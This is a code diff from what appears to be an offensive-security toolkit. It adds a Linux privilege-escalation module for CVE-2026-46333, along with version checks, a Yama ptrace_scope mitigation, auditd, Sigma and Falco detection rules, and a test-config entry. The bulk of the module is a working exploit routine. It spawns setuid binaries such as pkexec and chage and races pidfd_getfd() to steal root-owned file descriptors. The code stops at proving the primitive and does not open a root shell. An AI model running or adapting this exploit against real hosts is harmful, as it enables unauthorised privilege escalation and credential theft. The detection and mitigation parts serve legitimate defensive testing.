/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
|
||||
* authoritative thresholds (security-tracker.debian.org); branches
|
||||
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
|
||||
* version-only verdict below — confirm those empirically. */
|
||||
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
|
||||
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range ptrace_pidfd_range = {
|
||||
.patched_from = ptrace_pidfd_patched_branches,
|
||||
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
|
||||
sizeof(ptrace_pidfd_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of re-reading uname —
|
||||
* populated once at startup, identical across every module. */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bundled technique drives the bug through pidfd_getfd(2), which
|
||||
* was added in 5.6. Kernels older than that lack the vector (the
|
||||
* underlying __ptrace_may_access flaw is older, but this module does
|
||||
* not carry a pre-pidfd path). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
|
||||
"vector (added 5.6) — bundled technique N/A\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
|
||||
"(version-only check)\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
|
||||
"local user + a setuid/transiently-privileged victim "
|
||||
"(no user_ns)\n");
|
||||
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
|
||||
"`--exploit ptrace_pidfd --i-know` which fires the real "
|
||||
"pidfd_getfd primitive\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
|
||||
* sensitive descriptors while privileged before settling. Qualys's PoCs
|
||||
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
|
||||
* whichever exist with the setuid bit actually set. */
|
||||
static const char *find_setuid_victim(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
|
||||
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
|
||||
"/usr/bin/su", "/bin/su", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
|
||||
return targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Benign, read-only invocation per victim so the spawned setuid process
|
||||
* does something harmless while we race its descriptor table. */
|
||||
static void exec_victim_benign(const char *victim, const char *self_user)
|
||||
{
|
||||
char *envp[] = {
|
||||
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL
|
||||
};
|
||||
if (strstr(victim, "chage")) {
|
||||
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else if (strstr(victim, "pkexec")) {
|
||||
char *argv[] = { (char *)victim, "--version", NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else {
|
||||
/* ssh-keysign / passwd / su: --help or --version exits fast and
|
||||
* touches no state. */
|
||||
char *argv[] = { (char *)victim, "--help", NULL };
|
||||
execve(victim, argv, envp);
|
||||
}
|
||||
_exit(127); /* execve failed */
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *victim = find_setuid_victim();
|
||||
if (!victim) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
|
||||
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *self_user = pw ? pw->pw_name : "root";
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
|
||||
|
||||
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
|
||||
* child and sweeps pidfd_getfd() across its descriptor table while it
|
||||
* transitions through its privileged window. On a PATCHED kernel
|
||||
* __ptrace_may_access denies us (EPERM) once the child is root +
|
||||
* non-dumpable; on a VULNERABLE kernel the stale window lets the
|
||||
* steal land. A captured fd whose owner is uid 0 while we are not is
|
||||
* the empirical witness that the bug fired. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* Small delay so the parent has the pidfd open before we exec
|
||||
* into (and briefly become) the privileged image. */
|
||||
usleep(20 * 1000);
|
||||
exec_victim_benign(victim, self_user);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int pidfd = sk_pidfd_open(child, 0);
|
||||
if (pidfd < 0) {
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
|
||||
"the vector despite version check\n");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
perror("pidfd_open");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Tight steal loop across the victim's likely descriptor range during
|
||||
* its privileged window. We do not destroy anything: captured fds are
|
||||
* fstat()'d to fingerprint ownership, then closed. */
|
||||
int root_fds = 0, captured = 0;
|
||||
bool enosys = false;
|
||||
for (int round = 0; round < 200; round++) {
|
||||
for (int tfd = 0; tfd < 32; tfd++) {
|
||||
int got = sk_pidfd_getfd(pidfd, tfd, 0);
|
||||
if (got < 0) {
|
||||
if (errno == ENOSYS) { enosys = true; break; }
|
||||
continue; /* EPERM (patched / outside window) or EBADF */
|
||||
}
|
||||
captured++;
|
||||
struct stat st;
|
||||
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
|
||||
root_fds++;
|
||||
if (!ctx->json) {
|
||||
char lpath[64], target[256] = {0};
|
||||
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
|
||||
ssize_t n = readlink(lpath, target, sizeof target - 1);
|
||||
if (n > 0) target[n] = 0;
|
||||
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
|
||||
"fd from victim (uid0 %s mode %o)%s%s\n",
|
||||
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
|
||||
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
|
||||
(unsigned)(st.st_mode & 07777),
|
||||
n > 0 ? " -> " : "", n > 0 ? target : "");
|
||||
}
|
||||
}
|
||||
close(got);
|
||||
}
|
||||
if (enosys) break;
|
||||
}
|
||||
|
||||
close(pidfd);
|
||||
int status; waitpid(child, &status, 0);
|
||||
|
||||
if (enosys) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (root_fds > 0) {
|
||||
/* The bug demonstrably fired: we, as a non-root user, pulled a
|
||||
* uid-0-owned descriptor out of the victim past the dumpable
|
||||
* boundary. We deliberately STOP here rather than fabricate a
|
||||
* root shell — turning a captured fd into root is target-specific
|
||||
* (which fd, writable vs. authenticated channel) and is not
|
||||
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
|
||||
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
|
||||
"captured from a non-root context (CVE-2026-46333 reachable).\n"
|
||||
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
|
||||
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
|
||||
root_fds);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
|
||||
"— primitive blocked (kernel likely patched, or the victim "
|
||||
"exposed no privileged fd in its window)\n", captured);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
|
||||
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
|
||||
* or 3 (no attach) closes the bundled vector without a reboot. Needs
|
||||
* root to write the sysctl; best-effort + honest report otherwise. The
|
||||
* real fix is the kernel patch. */
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) {
|
||||
if (errno == ENOENT) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
|
||||
"no runtime mitigation — upgrade the kernel\n", path);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
|
||||
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
ssize_t w = write(fd, "2\n", 2);
|
||||
close(fd);
|
||||
if (w != 2) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
|
||||
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
|
||||
"This is a stopgap; patch the kernel.\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Undo --mitigate: restore the permissive default (1 = restricted
|
||||
* ptrace, the common distro default). Exploit itself leaves no file
|
||||
* artifacts (the steal is in-memory), so there is nothing else to
|
||||
* undo. */
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
|
||||
ssize_t w = write(fd, "1\n", 2);
|
||||
close(fd);
|
||||
if (!ctx->json && w == 2)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
|
||||
* Linux-only ABI. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
|
||||
"(pidfd_getfd cred-steal) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is pidfd_getfd(2) issued by a non-root process
|
||||
* against a setuid/privileged target. Legitimate users of pidfd_getfd
|
||||
* are rare and mostly root (container runtimes, debuggers) — a non-root
|
||||
* pidfd_getfd is a strong indicator. */
|
||||
static const char ptrace_pidfd_auditd[] =
|
||||
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
|
||||
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
|
||||
"# watch the credential files a successful steal would target.\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
|
||||
|
||||
static const char ptrace_pidfd_sigma[] =
|
||||
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
|
||||
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
|
||||
" technique pidfd_open()s a transiently-privileged setuid process and\n"
|
||||
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
|
||||
" boundary __ptrace_may_access should have enforced. False positives:\n"
|
||||
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: getfd and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
|
||||
|
||||
static const char ptrace_pidfd_falco[] =
|
||||
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
|
||||
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
|
||||
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
|
||||
" as it drops privileges, stealing a root-opened fd or authenticated\n"
|
||||
" channel past the dumpable boundary. False positives: container\n"
|
||||
" runtimes / debuggers using pidfd as root.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pidfd_getfd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_pidfd_module = {
|
||||
.name = "ptrace_pidfd",
|
||||
.cve = "CVE-2026-46333",
|
||||
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
|
||||
.family = "ptrace_pidfd",
|
||||
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
|
||||
.detect = ptrace_pidfd_detect,
|
||||
.exploit = ptrace_pidfd_exploit,
|
||||
.mitigate = ptrace_pidfd_mitigate,
|
||||
.cleanup = ptrace_pidfd_cleanup,
|
||||
.detect_auditd = ptrace_pidfd_auditd,
|
||||
.detect_sigma = ptrace_pidfd_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
|
||||
.detect_falco = ptrace_pidfd_falco,
|
||||
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_pidfd(void)
|
||||
{
|
||||
skeletonkey_register(&ptrace_pidfd_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
|
||||
#endif
|
||||
@@ -1014,6 +1014,7 @@ static int module_safety_rank(const char *n)
|
||||
if (!strcmp(n, "dirtydecrypt") ||
|
||||
!strcmp(n, "fragnesia")) return 87; /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "ptrace_traceme")) return 85; /* userspace cred race */
|
||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
|
||||
@@ -284,3 +284,13 @@ nft_pipapo:
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2024-26581; nft_pipapo destroy-race (Notselwyn II). Same mainline 5.15.5 target as nf_tables works here — 5.15.5 is below the 5.15.149 backport. (Switched from apt-pinned 5.15.0-43 after that package was removed from Ubuntu repos.) Userns gate must be open (sysctl kernel.unprivileged_userns_clone=1)."
|
||||
|
||||
# ── ptrace_pidfd (CVE-2026-46333) addition ──────────────────────────
|
||||
|
||||
ptrace_pidfd:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "5.15.5" # >5.6 (has pidfd_getfd) and below every fix backport
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-46333; __ptrace_may_access dumpable-race credential-fd theft via pidfd_getfd. Qualys disclosure 2026-05-20, fixed 2026-05-14 mainline (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). Mainline 5.15.5 carries the pidfd_getfd vector (added 5.6) and is below every fix backport, so detect() returns VULNERABLE; installed via kernel.ubuntu.com/mainline/v5.15.5/ (same box/kernel as nf_tables / af_unix_gc / nft_pipapo). Brand-new addition this cycle: exploit() fires the real pidfd_getfd steal primitive and reports a captured root-owned fd, but the full target-specific root-pop is not yet VM-verified — sweep pending."
|
||||
|
||||
Reference in New Issue
Block a user